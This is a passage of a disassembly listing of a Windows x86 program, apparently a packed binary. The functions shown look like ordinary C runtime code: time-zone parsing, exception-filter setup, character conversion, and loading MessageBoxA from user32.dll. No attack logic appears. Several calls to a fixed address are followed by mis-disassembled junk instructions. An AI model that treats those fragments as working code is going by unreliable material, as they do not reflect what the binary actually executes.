		mov	eax, offset dword_462DB0
		pop	esi
		leave
		retn
sub_41A6AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A710	proc near		; CODE XREF: sub_41A6AC+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41A75E
		cmp	ebx, edi
		jz	short loc_41A757
		lea	edi, [ecx+3C00h]
		jmp	short loc_41A77F
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A710+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41A77F
; ---------------------------------------------------------------------------


loc_41A75E:				; CODE XREF: sub_41A710+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41A776
		cmp	edx, ebx
		jnz	short loc_41A776
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41A7C1
; ---------------------------------------------------------------------------


loc_41A776:				; CODE XREF: sub_41A710+52j
					; sub_41A710+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41A77F:				; CODE XREF: sub_41A710+45j
					; sub_41A710+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41A797:				; CODE XREF: sub_41A710+A6j
		test	ecx, esi
		jnz	short loc_41A7B8
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41A797
; ---------------------------------------------------------------------------


loc_41A7B8:				; CODE XREF: sub_41A710+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41A7C1:				; CODE XREF: sub_41A710+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A710	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7C6	proc near		; CODE XREF: sub_41461C+3AAp
					; sub_41461C+3CBp ...
		push	2
		call	sub_4144BE
		pop	ecx
		retn
sub_41A7C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7CF	proc near		; DATA XREF: sub_41A815o
					; .nsp0:00431800o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A7F2
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A7F2
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41A7F2
		jmp	sub_41746C
; ---------------------------------------------------------------------------


loc_41A7F2:				; CODE XREF: sub_41A7CF+Dj
					; sub_41A7CF+13j ...
		mov	eax, dword_462DC0
		test	eax, eax
		jz	short loc_41A80F
		push	eax
		call	sub_41A86B
		test	eax, eax
		pop	ecx
		jz	short loc_41A80F
		push	esi
		call	dword_462DC0
		jmp	short loc_41A811
; ---------------------------------------------------------------------------


loc_41A80F:				; CODE XREF: sub_41A7CF+2Aj
					; sub_41A7CF+35j
		xor	eax, eax


loc_41A811:				; CODE XREF: sub_41A7CF+3Ej
		pop	esi
		retn	4
sub_41A7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A815	proc near		; DATA XREF: .nsp0:0041F020o
		push	offset sub_41A7CF
		call	dword_41D01C	; SetUnhandledExceptionFilter
		mov	dword_462DC0, eax
		retn
sub_41A815	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A826	proc near		; DATA XREF: .nsp0:0041F038o
		push	dword_462DC0
		call	dword_41D01C	; SetUnhandledExceptionFilter
		retn
sub_41A826	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A833	proc near		; CODE XREF: sub_416CBE+6Bp
					; sub_4171CF+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0AB0000h
		rol	dword ptr [ebp+330274C0h], 0F6h
		mov	eax, esi
		pop	esi
		retn
sub_41A833	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A84F	proc near		; CODE XREF: sub_4171CF+73p
					; sub_4171CF+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0AB0000h
		stosb
		test	eax, eax
		jz	short loc_41A867
		xor	esi, esi


loc_41A867:				; CODE XREF: sub_41A84F+14j
		mov	eax, esi
		pop	esi
		retn
sub_41A84F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A86B	proc near		; CODE XREF: sub_4171CF+15Bp
					; sub_41A7CF+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 0AB0000h
		add	dword ptr [ebp+330274C0h], 0FFFFFFF6h
		mov	eax, esi
		pop	esi
		retn
sub_41A86B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41746C


loc_41A883:				; CODE XREF: sub_41746C:loc_4174BDj
		push	0Ah
		call	sub_419639
		push	16h
		call	sub_41BB67
		pop	ecx
		pop	ecx
		push	3
		call	sub_413FE8
; END OF FUNCTION CHUNK	FOR sub_41746C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A89A	proc near		; CODE XREF: sub_41760D+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41A8BD
		cmp	[ebp+arg_8], ebx
		jz	short loc_41A8BD
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41A8C3
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41A8BD
		mov	[eax], bx


loc_41A8BD:				; CODE XREF: sub_41A89A+Cj
					; sub_41A89A+11j ...
		xor	eax, eax


loc_41A8BF:				; CODE XREF: sub_41A89A+42j
					; sub_41A89A+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A8C3:				; CODE XREF: sub_41A89A+17j
		cmp	dword_462C58, ebx
		jnz	short loc_41A8DE
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41A8D9
		movzx	ax, al
		mov	[ecx], ax


loc_41A8D9:				; CODE XREF: sub_41A89A+36j
					; sub_41A89A+C0j
		push	1
		pop	eax
		jmp	short loc_41A8BF
; ---------------------------------------------------------------------------


loc_41A8DE:				; CODE XREF: sub_41A89A+2Fj
		mov	ecx, off_4314B0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A93B
		mov	eax, dword_4316BC
		cmp	eax, 1
		jle	short loc_41A922
		cmp	[ebp+arg_8], eax
		jl	short loc_41A92C
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_462C68
		call	dword_41D130	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_4316BC
		jnz	short loc_41A8BF


loc_41A922:				; CODE XREF: sub_41A89A+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41A92C
		cmp	[esi+1], bl
		jnz	short loc_41A8BF


loc_41A92C:				; CODE XREF: sub_41A89A+61j
					; sub_41A89A+8Bj ...
		mov	dword_462BC4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A8BF
; ---------------------------------------------------------------------------


loc_41A93B:				; CODE XREF: sub_41A89A+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_462C68
		call	dword_41D130	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41A8D9
		jmp	short loc_41A92C
sub_41A89A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A962	proc near		; CODE XREF: sub_41760D+76p
					; sub_41760D+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4316BC, 1
		jle	short loc_41A979
		push	8
		push	[esp+4+arg_0]
		call	sub_414E26
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41A979:				; CODE XREF: sub_41A962+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4314B0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41A962	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_41760D+797p
					; sub_41760D+7E7p
		cmp	cl, 40h
		jnb	short loc_41A9AA
		cmp	cl, 20h
		jnb	short loc_41A9A0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41A9A0:				; CODE XREF: sub_41A990+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41A9AA:				; CODE XREF: sub_41A990+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41A990	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9AF	proc near		; CODE XREF: sub_418083+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41A9FB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41A9CD
		test	al, 80h
		jz	short loc_41A9FB
		test	al, 2
		jnz	short loc_41A9FB


loc_41A9CD:				; CODE XREF: sub_41A9AF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41A9DA
		push	esi
		call	sub_419939
		pop	ecx


loc_41A9DA:				; CODE XREF: sub_41A9AF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41A9EA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41A9FB
		inc	eax
		mov	[esi], eax


loc_41A9EA:				; CODE XREF: sub_41A9AF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41AA01
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41AA07
		inc	eax
		mov	[esi], eax


loc_41A9FB:				; CODE XREF: sub_41A9AF+9j
					; sub_41A9AF+18j ...
		or	eax, 0FFFFFFFFh


loc_41A9FE:				; CODE XREF: sub_41A9AF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41AA01:				; CODE XREF: sub_41A9AF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41AA07:				; CODE XREF: sub_41A9AF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41A9FE
sub_41A9AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA1D	proc near		; CODE XREF: sub_4180BE:loc_4180FDp
		cmp	dword_462E80, 0
		jnz	short locret_41AA31
		call	sub_41AA32
		inc	dword_462E80

locret_41AA31:				; CODE XREF: sub_41AA1D+7j
		retn
sub_41AA1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA32	proc near		; CODE XREF: sub_41AA1D+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_462DC8, ebp
		mov	dword_431F08, ebx
		mov	dword_431EF8, ebx
		call	sub_41BCD9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41AB5B
		push	offset dword_462DD0
		call	near ptr 0AB0000h
		icebp
		cmp	eax, ebx
		jz	loc_41AC8A
		mov	eax, dword_462DD0
		mov	ecx, dword_462E24
		imul	eax, 3Ch
		cmp	word_462E16, bp
		push	1
		pop	edx
		mov	dword_431E60, eax
		mov	dword_462DC8, edx
		jz	short loc_41AAA9
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_431E60, eax


loc_41AAA9:				; CODE XREF: sub_41AA32+69j
		cmp	word_462E6A, bp
		jz	short loc_41AACD
		mov	eax, dword_462E78
		cmp	eax, ebp
		jz	short loc_41AACD
		sub	eax, ecx
		mov	dword_431E64, edx
		imul	eax, 3Ch
		mov	dword_431E68, eax
		jmp	short loc_41AAD9
; ---------------------------------------------------------------------------


loc_41AACD:				; CODE XREF: sub_41AA32+7Ej
					; sub_41AA32+87j
		mov	dword_431E64, ebp
		mov	dword_431E68, ebp


loc_41AAD9:				; CODE XREF: sub_41AA32+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_41D12C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_431EEC
		push	ebx
		push	offset dword_462DD4
		push	edi
		push	dword_462C68
		call	esi ; dword_41D12C
		test	eax, eax
		jz	short loc_41AB16
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41AB16
		mov	eax, off_431EEC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41AB1E
; ---------------------------------------------------------------------------


loc_41AB16:				; CODE XREF: sub_41AA32+D1j
					; sub_41AA32+D7j
		mov	eax, off_431EEC
		and	byte ptr [eax],	0


loc_41AB1E:				; CODE XREF: sub_41AA32+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_431EF0
		push	ebx
		push	offset dword_462E28
		push	edi
		push	dword_462C68
		call	esi ; dword_41D12C
		test	eax, eax
		jz	loc_41AC82
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41AC82
		mov	eax, off_431EF0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41AC8A
; ---------------------------------------------------------------------------


loc_41AB5B:				; CODE XREF: sub_41AA32+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41AC8A
		mov	eax, dword_462E7C
		cmp	eax, ebp
		jz	short loc_41AB7E
		push	eax
		push	esi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41AC8A


loc_41AB7E:				; CODE XREF: sub_41AA32+139j
		push	dword_462E7C
		call	sub_412813
		push	esi
		call	sub_4126F0
		inc	eax
		push	eax
		call	sub_41279F
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_462E7C, eax
		jz	loc_41AC8A
		push	esi
		push	eax
		call	sub_412600
		push	3
		push	esi
		push	off_431EEC
		call	sub_413710
		mov	eax, off_431EEC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41ABD3
		push	1
		inc	esi
		pop	edi


loc_41ABD3:				; CODE XREF: sub_41AA32+19Bj
		push	esi
		call	sub_4123D4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_431E60, ecx


loc_41ABEA:				; CODE XREF: sub_41AA32+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41ABF8
		cmp	al, bl
		jl	short loc_41ABFB
		cmp	al, 39h
		jg	short loc_41ABFB


loc_41ABF8:				; CODE XREF: sub_41AA32+1BCj
		inc	esi
		jmp	short loc_41ABEA
; ---------------------------------------------------------------------------


loc_41ABFB:				; CODE XREF: sub_41AA32+1C0j
					; sub_41AA32+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41AC4E
		inc	esi
		push	esi
		call	sub_4123D4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_431E60
		add	ecx, eax
		mov	dword_431E60, ecx


loc_41AC19:				; CODE XREF: sub_41AA32+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41AC26
		cmp	al, 39h
		jg	short loc_41AC26
		inc	esi
		jmp	short loc_41AC19
; ---------------------------------------------------------------------------


loc_41AC26:				; CODE XREF: sub_41AA32+1EBj
					; sub_41AA32+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41AC4E
		inc	esi
		push	esi
		call	sub_4123D4
		pop	ecx
		mov	ecx, dword_431E60
		add	ecx, eax
		mov	dword_431E60, ecx


loc_41AC41:				; CODE XREF: sub_41AA32+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41AC4E
		cmp	al, 39h
		jg	short loc_41AC4E
		inc	esi
		jmp	short loc_41AC41
; ---------------------------------------------------------------------------


loc_41AC4E:				; CODE XREF: sub_41AA32+1CCj
					; sub_41AA32+1F7j ...
		cmp	edi, ebp
		jz	short loc_41AC5A
		neg	ecx
		mov	dword_431E60, ecx


loc_41AC5A:				; CODE XREF: sub_41AA32+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_431E64, eax
		jz	short loc_41AC82
		push	3
		push	esi
		push	off_431EF0
		call	sub_413710
		mov	eax, off_431EF0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41AC8A
; ---------------------------------------------------------------------------


loc_41AC82:				; CODE XREF: sub_41AA32+10Bj
					; sub_41AA32+115j ...
		mov	eax, off_431EF0
		and	byte ptr [eax],	0


loc_41AC8A:				; CODE XREF: sub_41AA32+40j
					; sub_41AA32+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41AA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC90	proc near		; CODE XREF: sub_4180BE+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_431E64, edi
		jnz	short loc_41ACA4


loc_41AC9D:				; CODE XREF: sub_41AC90+148j
					; sub_41AC90+150j ...
		xor	eax, eax
		jmp	loc_41ADF0
; ---------------------------------------------------------------------------


loc_41ACA4:				; CODE XREF: sub_41AC90+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_431EF8
		jnz	short loc_41ACC2
		cmp	eax, dword_431F08
		jz	loc_41ADC4


loc_41ACC2:				; CODE XREF: sub_41AC90+24j
		cmp	dword_462DC8, edi
		jz	loc_41AD9A
		movzx	ecx, word_462E76
		push	ecx
		cmp	word_462E68, di
		movzx	ecx, word_462E74
		push	ecx
		movzx	ecx, word_462E72
		push	ecx
		movzx	ecx, word_462E70
		push	ecx
		jnz	short loc_41AD14
		movzx	ecx, word_462E6C
		push	edi
		push	ecx
		movzx	ecx, word_462E6E
		push	ecx
		movzx	ecx, word_462E6A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41AD28
; ---------------------------------------------------------------------------


loc_41AD14:				; CODE XREF: sub_41AC90+65j
		movzx	ecx, word_462E6E
		push	ecx
		push	edi
		movzx	ecx, word_462E6A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41AD28:				; CODE XREF: sub_41AC90+82j
		push	ebx
		call	sub_41AE3C
		movzx	eax, word_462E22
		add	esp, 2Ch
		cmp	word_462E14, di
		push	eax
		movzx	eax, word_462E20
		push	eax
		movzx	eax, word_462E1E
		push	eax
		movzx	eax, word_462E1C
		push	eax
		jnz	short loc_41AD82
		movzx	eax, word_462E18
		push	edi
		push	eax
		movzx	eax, word_462E1A
		push	eax
		movzx	eax, word_462E16
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41AD77:				; CODE XREF: sub_41AC90+108j
		push	edi
		call	sub_41AE3C
		add	esp, 2Ch
		jmp	short loc_41ADC4
; ---------------------------------------------------------------------------


loc_41AD82:				; CODE XREF: sub_41AC90+C8j
		movzx	eax, word_462E1A
		push	eax
		push	edi
		movzx	eax, word_462E16
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41AD77
; ---------------------------------------------------------------------------


loc_41AD9A:				; CODE XREF: sub_41AC90+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41AE3C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41AE3C
		add	esp, 58h


loc_41ADC4:				; CODE XREF: sub_41AC90+2Cj
					; sub_41AC90+F0j
		mov	edx, dword_431EFC
		mov	eax, dword_431F0C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41ADF4
		cmp	ecx, edx
		jl	loc_41AC9D
		cmp	ecx, eax
		jg	loc_41AC9D
		cmp	ecx, edx
		jle	short loc_41AE08
		cmp	ecx, eax
		jge	short loc_41AE08


loc_41ADEE:				; CODE XREF: sub_41AC90+166j
					; sub_41AC90+16Aj
		mov	eax, ebx


loc_41ADF0:				; CODE XREF: sub_41AC90+Fj
					; sub_41AC90+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41ADF4:				; CODE XREF: sub_41AC90+144j
		cmp	ecx, eax
		jl	short loc_41ADEE
		cmp	ecx, edx
		jg	short loc_41ADEE
		cmp	ecx, eax
		jle	short loc_41AE08
		cmp	ecx, edx
		jl	loc_41AC9D


loc_41AE08:				; CODE XREF: sub_41AC90+158j
					; sub_41AC90+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41AE2F
		xor	ecx, ecx
		cmp	eax, dword_431F00
		setnl	cl


loc_41AE2B:				; CODE XREF: sub_41AC90+1AAj
		mov	eax, ecx
		jmp	short loc_41ADF0
; ---------------------------------------------------------------------------


loc_41AE2F:				; CODE XREF: sub_41AC90+18Ej
		xor	ecx, ecx
		cmp	eax, dword_431F10
		setl	cl
		jmp	short loc_41AE2B
sub_41AC90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE3C	proc near		; CODE XREF: sub_41AC90+99p
					; sub_41AC90+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41AED7
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41AE67
		shl	esi, 2
		mov	eax, dword_431F10[esi]
		jmp	short loc_41AE70
; ---------------------------------------------------------------------------


loc_41AE67:				; CODE XREF: sub_41AE3C+1Ej
		shl	esi, 2
		mov	eax, dword_431F44[esi]


loc_41AE70:				; CODE XREF: sub_41AE3C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41AEAA
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41AEB4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE3C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41AEB4:				; CODE XREF: sub_41AE3C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41AEF2
		cmp	[ebp+arg_8], 0
		jnz	short loc_41AEC8
		mov	esi, dword_431F14[esi]
		jmp	short loc_41AECE
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE3C+82j
		mov	esi, dword_431F48[esi]


loc_41AECE:				; CODE XREF: sub_41AE3C+8Aj
		cmp	ecx, esi
		jle	short loc_41AEF2
		sub	ecx, 7
		jmp	short loc_41AEF2
; ---------------------------------------------------------------------------


loc_41AED7:				; CODE XREF: sub_41AE3C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41AEE8
		mov	ecx, dword_431F10[eax*4]
		jmp	short loc_41AEEF
; ---------------------------------------------------------------------------


loc_41AEE8:				; CODE XREF: sub_41AE3C+A1j
		mov	ecx, dword_431F44[eax*4]


loc_41AEEF:				; CODE XREF: sub_41AE3C+AAj
		add	ecx, [ebp+arg_18]


loc_41AEF2:				; CODE XREF: sub_41AE3C+7Cj
					; sub_41AE3C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41AF23
		mov	eax, [ebp+arg_1C]
		mov	dword_431EFC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_431EF8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_431F00, eax
		jmp	short loc_41AF78
; ---------------------------------------------------------------------------


loc_41AF23:				; CODE XREF: sub_41AE3C+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_431F0C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_431E68
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_431F10, eax
		jns	short loc_41AF5B
		add	eax, 5265C00h
		dec	ecx
		mov	dword_431F10, eax
		jmp	short loc_41AF6C
; ---------------------------------------------------------------------------


loc_41AF5B:				; CODE XREF: sub_41AE3C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41AF72
		sub	eax, edx
		inc	ecx
		mov	dword_431F10, eax


loc_41AF6C:				; CODE XREF: sub_41AE3C+11Dj
		mov	dword_431F0C, ecx


loc_41AF72:				; CODE XREF: sub_41AE3C+126j
		mov	dword_431F08, ebx


loc_41AF78:				; CODE XREF: sub_41AE3C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41AE3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF7C	proc near		; CODE XREF: .nsp0:00418F10p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41AF8D
		add	esp, 0Ch
		retn
sub_41AF7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF8D	proc near		; CODE XREF: sub_41AF7C+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_464101[eax], cl
		jnz	short loc_41AFBA
		cmp	[esp+arg_4], 0
		jz	short loc_41AFB3
		movzx	eax, word_4314BA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41AFB5
; ---------------------------------------------------------------------------


loc_41AFB3:				; CODE XREF: sub_41AF8D+16j
		xor	eax, eax


loc_41AFB5:				; CODE XREF: sub_41AF8D+24j
		test	eax, eax
		jnz	short loc_41AFBA
		retn
; ---------------------------------------------------------------------------


loc_41AFBA:				; CODE XREF: sub_41AF8D+Fj
					; sub_41AF8D+2Aj
		push	1
		pop	eax
		retn
sub_41AF8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFBE	proc near		; CODE XREF: sub_419639+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_462E84, ebx
		push	esi
		push	edi
		jnz	short loc_41B00D
		push	offset aUser32_dll ; "user32.dll"
		call	dword_41D0B0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41B043
		mov	esi, dword_41D0B4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_41D0B4
		test	eax, eax
		mov	dword_462E84, eax
		jz	short loc_41B043
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; dword_41D0B4
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_462E88, eax
		call	esi ; dword_41D0B4
		mov	dword_462E8C, eax


loc_41B00D:				; CODE XREF: sub_41AFBE+Bj
		mov	eax, dword_462E88
		test	eax, eax
		jz	short loc_41B02C
		call	eax ; dword_462E88
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41B02C
		mov	eax, dword_462E8C
		test	eax, eax
		jz	short loc_41B02C
		push	ebx
		call	eax ; dword_462E8C
		mov	ebx, eax


loc_41B02C:				; CODE XREF: sub_41AFBE+56j
					; sub_41AFBE+5Ej ...
